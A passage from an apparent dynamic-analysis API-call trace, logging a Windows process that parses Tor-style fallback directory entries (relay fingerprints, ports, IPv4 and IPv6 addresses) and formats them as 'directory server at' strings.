_Str="ipv6=", _MaxCount=0x5) returned 1 [0115.623] strlen (_Str="weight=") returned 0x7 [0115.623] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.623] _errno () returned 0x9f07d8 [0115.623] localeconv () returned 0x75db2b80 [0115.623] strlen (_Str=".") returned 0x1 [0115.623] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.623] _errno () returned 0x9f07d8 [0115.623] htonl (hostlong=0x5275cc7) returned 0xc75c2705 [0115.623] htonl (hostlong=0xc75c2705) returned 0x5275cc7 [0115.623] htonl (hostlong=0xc75c2705) returned 0x5275cc7 [0115.623] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="5.39.92.199") returned 11 [0115.623] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 34 [0115.623] _vsnprintf (in: _DstBuf=0x8473d0, _MaxCount=0x23, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 5.39.92.199:80") returned 34 [0115.623] strlen (_Str="orport=") returned 0x7 [0115.623] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.623] _errno () returned 0x9f07d8 [0115.623] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.623] _errno () returned 0x9f07d8 [0115.624] strlen (_Str="orport=") returned 0x7 [0115.624] strncmp (_Str1="id=0C2C", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.624] strlen (_Str="id=") returned 0x3 [0115.624] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.624] strlen (_Str="id=0C2C599AFCB26F5CFC2C7592435924C1D63D9484") returned 0x2b [0115.624] strlen (_Str="orport=") returned 0x7 [0115.624] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.624] strlen (_Str="id=") returned 0x3 [0115.624] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.624] strlen (_Str="ipv6=") returned 0x5 [0115.624] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.624] strlen (_Str="weight=") returned 0x7 [0115.624] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.624] _errno () returned 0x9f07d8 [0115.624] localeconv () returned 0x75db2b80 [0115.624] strlen (_Str=".") returned 0x1 [0115.624] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.624] _errno () returned 0x9f07d8 [0115.624] htonl (hostlong=0x5c4587a) returned 0x7a58c405 [0115.624] htonl (hostlong=0x7a58c405) returned 0x5c4587a [0115.624] htonl (hostlong=0x7a58c405) returned 0x5c4587a [0115.624] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="5.196.88.122") returned 12 [0115.624] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 37 [0115.624] _vsnprintf (in: _DstBuf=0x847430, _MaxCount=0x26, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 5.196.88.122:9030") returned 37 [0115.624] strlen (_Str="orport=") returned 0x7 [0115.624] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.624] _errno () returned 0x9f07d8 [0115.624] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.624] _errno () returned 0x9f07d8 [0115.624] strlen (_Str="orport=") returned 0x7 [0115.624] strncmp (_Str1="id=0D3E", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.624] strlen (_Str="id=") returned 0x3 [0115.624] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.624] strlen (_Str="id=0D3EBA17E1C78F1E9900BABDB23861D46FCAF163") returned 0x2b [0115.624] strlen (_Str="orport=") returned 0x7 [0115.624] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.624] strlen (_Str="id=") returned 0x3 [0115.624] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.624] strlen (_Str="ipv6=") returned 0x5 [0115.624] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.624] strlen (_Str="weight=") returned 0x7 [0115.624] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.624] _errno () returned 0x9f07d8 [0115.624] localeconv () returned 0x75db2b80 [0115.624] strlen (_Str=".") returned 0x1 [0115.625] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.625] _errno () returned 0x9f07d8 [0115.625] htonl (hostlong=0xb23ec552) returned 0x52c53eb2 [0115.625] htonl (hostlong=0x52c53eb2) returned 0xb23ec552 [0115.625] htonl (hostlong=0x52c53eb2) returned 0xb23ec552 [0115.625] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="178.62.197.82") returned 13 [0115.625] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 36 [0115.626] _vsnprintf (in: _DstBuf=0x847460, _MaxCount=0x25, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 178.62.197.82:80") returned 36 [0115.626] strlen (_Str="orport=") returned 0x7 [0115.626] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.626] _errno () returned 0x9f07d8 [0115.627] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.627] _errno () returned 0x9f07d8 [0115.627] strlen (_Str="orport=") returned 0x7 [0115.627] strncmp (_Str1="id=1789", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.627] strlen (_Str="id=") returned 0x3 [0115.627] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.627] strlen (_Str="id=17898F9A2EBC7D69DAF87C00A1BD2FABF3C9E1D2") returned 0x2b [0115.627] strlen (_Str="orport=") returned 0x7 [0115.627] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.627] strlen (_Str="id=") returned 0x3 [0115.627] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.627] strlen (_Str="ipv6=") returned 0x5 [0115.627] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.627] strlen (_Str="weight=") returned 0x7 [0115.627] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.627] _errno () returned 0x9f07d8 [0115.627] localeconv () returned 0x75db2b80 [0115.627] strlen (_Str=".") returned 0x1 [0115.627] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.627] _errno () returned 0x9f07d8 [0115.627] htonl (hostlong=0xb220d892) returned 0x92d820b2 [0115.627] htonl (hostlong=0x92d820b2) returned 0xb220d892 [0115.627] htonl (hostlong=0x92d820b2) returned 0xb220d892 [0115.627] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="178.32.216.146") returned 14 [0115.627] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 39 [0115.627] _vsnprintf (in: _DstBuf=0x847490, _MaxCount=0x28, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 178.32.216.146:9030") returned 39 [0115.627] strlen (_Str="orport=") returned 0x7 [0115.627] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.627] _errno () returned 0x9f07d8 [0115.627] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.627] _errno () returned 0x9f07d8 [0115.627] strlen (_Str="orport=") returned 0x7 [0115.627] strncmp (_Str1="id=1DBA", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.627] strlen (_Str="id=") returned 0x3 [0115.627] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.627] strlen (_Str="id=1DBAED235E3957DE1ABD25B4206BE71406FB61F8") returned 0x2b [0115.627] strlen (_Str="orport=") returned 0x7 [0115.627] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.627] strlen (_Str="id=") returned 0x3 [0115.627] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.627] strlen (_Str="ipv6=") returned 0x5 [0115.627] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.627] strlen (_Str="weight=") returned 0x7 [0115.627] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.627] _errno () returned 0x9f07d8 [0115.627] localeconv () returned 0x75db2b80 [0115.628] strlen (_Str=".") returned 0x1 [0115.628] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.628] _errno () returned 0x9f07d8 [0115.628] htonl (hostlong=0x2e6597de) returned 0xde97652e [0115.628] htonl (hostlong=0xde97652e) returned 0x2e6597de [0115.628] htonl (hostlong=0xde97652e) returned 0x2e6597de [0115.628] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="46.101.151.222") returned 14 [0115.628] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 37 [0115.628] _vsnprintf (in: _DstBuf=0x8474c0, _MaxCount=0x26, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 46.101.151.222:80") returned 37 [0115.628] strlen (_Str="orport=") returned 0x7 [0115.628] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.628] _errno () returned 0x9f07d8 [0115.628] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.628] _errno () returned 0x9f07d8 [0115.628] strlen (_Str="orport=") returned 0x7 [0115.628] strncmp (_Str1="id=1ECD", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.628] strlen (_Str="id=") returned 0x3 [0115.628] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.628] strlen (_Str="id=1ECD73B936CB6E6B3CD647CC204F108D9DF2C9F7") returned 0x2b [0115.628] strlen (_Str="orport=") returned 0x7 [0115.628] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.628] strlen (_Str="id=") returned 0x3 [0115.628] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.628] strlen (_Str="ipv6=") returned 0x5 [0115.628] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.628] strlen (_Str="weight=") returned 0x7 [0115.628] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.628] _errno () returned 0x9f07d8 [0115.628] localeconv () returned 0x75db2b80 [0115.628] strlen (_Str=".") returned 0x1 [0115.628] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.628] _errno () returned 0x9f07d8 [0115.628] htonl (hostlong=0x5bdbede5) returned 0xe5eddb5b [0115.628] htonl (hostlong=0xe5eddb5b) returned 0x5bdbede5 [0115.628] htonl (hostlong=0xe5eddb5b) returned 0x5bdbede5 [0115.628] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="91.219.237.229") returned 14 [0115.628] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 37 [0115.628] _vsnprintf (in: _DstBuf=0x8474f0, _MaxCount=0x26, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 91.219.237.229:80") returned 37 [0115.629] strlen (_Str="orport=") returned 0x7 [0115.629] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.629] _errno () returned 0x9f07d8 [0115.629] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.629] _errno () returned 0x9f07d8 [0115.629] strlen (_Str="orport=") returned 0x7 [0115.629] strncmp (_Str1="id=2046", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.629] strlen (_Str="id=") returned 0x3 [0115.629] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.629] strlen (_Str="id=20462CBA5DA4C2D963567D17D0B7249718114A68") returned 0x2b [0115.629] strlen (_Str="orport=") returned 0x7 [0115.629] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.629] strlen (_Str="id=") returned 0x3 [0115.629] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.629] strlen (_Str="ipv6=") returned 0x5 [0115.629] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.629] strlen (_Str="weight=") returned 0x7 [0115.629] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.629] _errno () returned 0x9f07d8 [0115.629] localeconv () returned 0x75db2b80 [0115.629] strlen (_Str=".") returned 0x1 [0115.629] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.629] _errno () returned 0x9f07d8 [0115.629] htonl (hostlong=0xd42fe502) returned 0x2e52fd4 [0115.629] htonl (hostlong=0x2e52fd4) returned 0xd42fe502 [0115.629] htonl (hostlong=0x2e52fd4) returned 0xd42fe502 [0115.629] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="212.47.229.2") returned 12 [0115.629] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 37 [0115.629] _vsnprintf (in: _DstBuf=0x847520, _MaxCount=0x26, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 212.47.229.2:9030") returned 37 [0115.629] strlen (_Str="orport=") returned 0x7 [0115.629] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.629] _errno () returned 0x9f07d8 [0115.629] strtol (in: _Str="4443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 4443 [0115.629] _errno () returned 0x9f07d8 [0115.629] strlen (_Str="orport=") returned 0x7 [0115.629] strncmp (_Str1="id=2541", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.629] strlen (_Str="id=") returned 0x3 [0115.629] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.629] strlen (_Str="id=2541759BEC04D37811C2209A88E863320271EC9C") returned 0x2b [0115.629] strlen (_Str="orport=") returned 0x7 [0115.629] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.629] strlen (_Str="id=") returned 0x3 [0115.629] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.629] strlen (_Str="ipv6=") returned 0x5 [0115.629] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.629] strlen (_Str="weight=") returned 0x7 [0115.630] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.630] _errno () returned 0x9f07d8 [0115.630] localeconv () returned 0x75db2b80 [0115.630] strlen (_Str=".") returned 0x1 [0115.630] strtol (in: _Str="8080", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 8080 [0115.630] _errno () returned 0x9f07d8 [0115.630] htonl (hostlong=0xb93d8a12) returned 0x128a3db9 [0115.630] htonl (hostlong=0x128a3db9) returned 0xb93d8a12 [0115.630] htonl (hostlong=0x128a3db9) returned 0xb93d8a12 [0115.630] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="185.61.138.18") returned 13 [0115.630] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 38 [0115.630] _vsnprintf (in: _DstBuf=0x847550, _MaxCount=0x27, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 185.61.138.18:8080") returned 38 [0115.630] strlen (_Str="orport=") returned 0x7 [0115.630] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.630] _errno () returned 0x9f07d8 [0115.630] strtol (in: _Str="9011", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9011 [0115.630] _errno () returned 0x9f07d8 [0115.630] strlen (_Str="orport=") returned 0x7 [0115.630] strncmp (_Str1="id=2BA2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.630] strlen (_Str="id=") returned 0x3 [0115.630] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.630] strlen (_Str="id=2BA2C8E96B2590E1072AECE2BDB5C48921BF8510") returned 0x2b [0115.630] strlen (_Str="orport=") returned 0x7 [0115.630] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.630] strlen (_Str="id=") returned 0x3 [0115.630] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.630] strlen (_Str="ipv6=") returned 0x5 [0115.630] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.630] strlen (_Str="weight=") returned 0x7 [0115.630] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.630] _errno () returned 0x9f07d8 [0115.630] localeconv () returned 0x75db2b80 [0115.630] strlen (_Str=".") returned 0x1 [0115.630] strtol (in: _Str="9012", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9012 [0115.630] _errno () returned 0x9f07d8 [0115.630] htonl (hostlong=0x904c1aaf) returned 0xaf1a4c90 [0115.630] htonl (hostlong=0xaf1a4c90) returned 0x904c1aaf [0115.630] htonl (hostlong=0xaf1a4c90) returned 0x904c1aaf [0115.630] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="144.76.26.175") returned 13 [0115.630] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 38 [0115.630] _vsnprintf (in: _DstBuf=0x847580, _MaxCount=0x27, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 144.76.26.175:9012") returned 38 [0115.631] strlen (_Str="orport=") returned 0x7 [0115.631] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.631] _errno () returned 0x9f07d8 [0115.631] strtol (in: _Str="9101", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9101 [0115.631] _errno () returned 0x9f07d8 [0115.631] strlen (_Str="orport=") returned 0x7 [0115.631] strncmp (_Str1="id=2EBD", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.631] strlen (_Str="id=") returned 0x3 [0115.631] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.631] strlen (_Str="id=2EBD117806EE43C3CC885A8F1E4DC60F207E7D3E") returned 0x2b [0115.631] strlen (_Str="orport=") returned 0x7 [0115.631] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.631] strlen (_Str="id=") returned 0x3 [0115.631] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.631] strlen (_Str="ipv6=") returned 0x5 [0115.631] _strnicmp (_Str1="ipv6=", _Str="ipv6=", _MaxCount=0x5) returned 0 [0115.631] strlen (_Str="[2001:bc8:3f23:100::1]:9101") returned 0x1b [0115.631] strlen (_Str="2001:bc8:3f23:100::1]:910") returned 0x19 [0115.631] strtol (in: _Str="2001:bc8:3f23:100::1]:910", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":bc8:3f23:100::1]:910") returned 8193 [0115.631] strtol (in: _Str="bc8:3f23:100::1]:910", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":3f23:100::1]:910") returned 3016 [0115.631] strtol (in: _Str="3f23:100::1]:910", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":100::1]:910") returned 16163 [0115.631] strtol (in: _Str="100::1]:910", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="::1]:910") returned 256 [0115.631] strtol (in: _Str="1]:910", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:910") returned 1 [0115.631] strtol (in: _Str="9101", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 9101 [0115.631] _errno () returned 0x9f07d8 [0115.631] strlen (_Str="[2001:bc8:3f23:100::1]") returned 0x16 [0115.631] strlen (_Str="2001:bc8:3f23:100::1") returned 0x14 [0115.631] strtol (in: _Str="2001:bc8:3f23:100::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":bc8:3f23:100::1") returned 8193 [0115.631] strtol (in: _Str="bc8:3f23:100::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":3f23:100::1") returned 3016 [0115.631] strtol (in: _Str="3f23:100::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":100::1") returned 16163 [0115.631] strtol (in: _Str="100::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="::1") returned 256 [0115.631] strtol (in: _Str="1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 1 [0115.631] strlen (_Str="orport=") returned 0x7 [0115.631] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.631] strlen (_Str="id=") returned 0x3 [0115.631] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.631] strlen (_Str="ipv6=") returned 0x5 [0115.631] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.631] strlen (_Str="weight=") returned 0x7 [0115.631] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.631] _errno () returned 0x9f07d8 [0115.631] localeconv () returned 0x75db2b80 [0115.631] strlen (_Str=".") returned 0x1 [0115.632] strtol (in: _Str="9130", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9130 [0115.632] _errno () returned 0x9f07d8 [0115.632] htonl (hostlong=0x3ed27c7c) returned 0x7c7cd23e [0115.632] htonl (hostlong=0x7c7cd23e) returned 0x3ed27c7c [0115.632] htonl (hostlong=0x7c7cd23e) returned 0x3ed27c7c [0115.632] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="62.210.124.124") returned 14 [0115.632] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 39 [0115.632] _vsnprintf (in: _DstBuf=0x8475e0, _MaxCount=0x28, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 62.210.124.124:9130") returned 39 [0115.632] strlen (_Str="orport=") returned 0x7 [0115.632] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.632] _errno () returned 0x9f07d8 [0115.632] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.632] _errno () returned 0x9f07d8 [0115.632] strlen (_Str="orport=") returned 0x7 [0115.632] strncmp (_Str1="id=3064", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.632] strlen (_Str="id=") returned 0x3 [0115.632] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.632] strlen (_Str="id=30648BC64CEDB3020F4A405E4AB2A6347FB8FA22") returned 0x2b [0115.632] strlen (_Str="orport=") returned 0x7 [0115.632] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.632] strlen (_Str="id=") returned 0x3 [0115.632] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.632] strlen (_Str="ipv6=") returned 0x5 [0115.632] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.632] strlen (_Str="weight=") returned 0x7 [0115.632] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.632] _errno () returned 0x9f07d8 [0115.632] localeconv () returned 0x75db2b80 [0115.632] strlen (_Str=".") returned 0x1 [0115.632] strtol (in: _Str="9031", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9031 [0115.632] _errno () returned 0x9f07d8 [0115.632] htonl (hostlong=0xd53d4276) returned 0x76423dd5 [0115.632] htonl (hostlong=0x76423dd5) returned 0xd53d4276 [0115.632] htonl (hostlong=0x76423dd5) returned 0xd53d4276 [0115.632] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="213.61.66.118") returned 13 [0115.632] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 38 [0115.632] _vsnprintf (in: _DstBuf=0x8475b0, _MaxCount=0x27, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 213.61.66.118:9031") returned 38 [0115.632] strlen (_Str="orport=") returned 0x7 [0115.633] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.633] _errno () returned 0x9f07d8 [0115.633] strtol (in: _Str="8443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 8443 [0115.633] _errno () returned 0x9f07d8 [0115.633] strlen (_Str="orport=") returned 0x7 [0115.633] strncmp (_Str1="id=322C", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.633] strlen (_Str="id=") returned 0x3 [0115.633] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.633] strlen (_Str="id=322C6E3A973BC10FC36DE3037AD27BC89F14723B") returned 0x2b [0115.633] strlen (_Str="orport=") returned 0x7 [0115.633] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.633] strlen (_Str="id=") returned 0x3 [0115.633] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.633] strlen (_Str="ipv6=") returned 0x5 [0115.633] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.633] strlen (_Str="weight=") returned 0x7 [0115.633] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.633] _errno () returned 0x9f07d8 [0115.633] localeconv () returned 0x75db2b80 [0115.633] strlen (_Str=".") returned 0x1 [0115.633] strtol (in: _Str="8080", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 8080 [0115.633] _errno () returned 0x9f07d8 [0115.633] htonl (hostlong=0xd4539a21) returned 0x219a53d4 [0115.633] htonl (hostlong=0x219a53d4) returned 0xd4539a21 [0115.633] htonl (hostlong=0x219a53d4) returned 0xd4539a21 [0115.633] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="212.83.154.33") returned 13 [0115.633] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 38 [0115.633] _vsnprintf (in: _DstBuf=0x847610, _MaxCount=0x27, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 212.83.154.33:8080") returned 38 [0115.633] strlen (_Str="orport=") returned 0x7 [0115.633] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.633] _errno () returned 0x9f07d8 [0115.633] strtol (in: _Str="60784", _EndPtr=0x36f3c4, _Radix=10 | out: 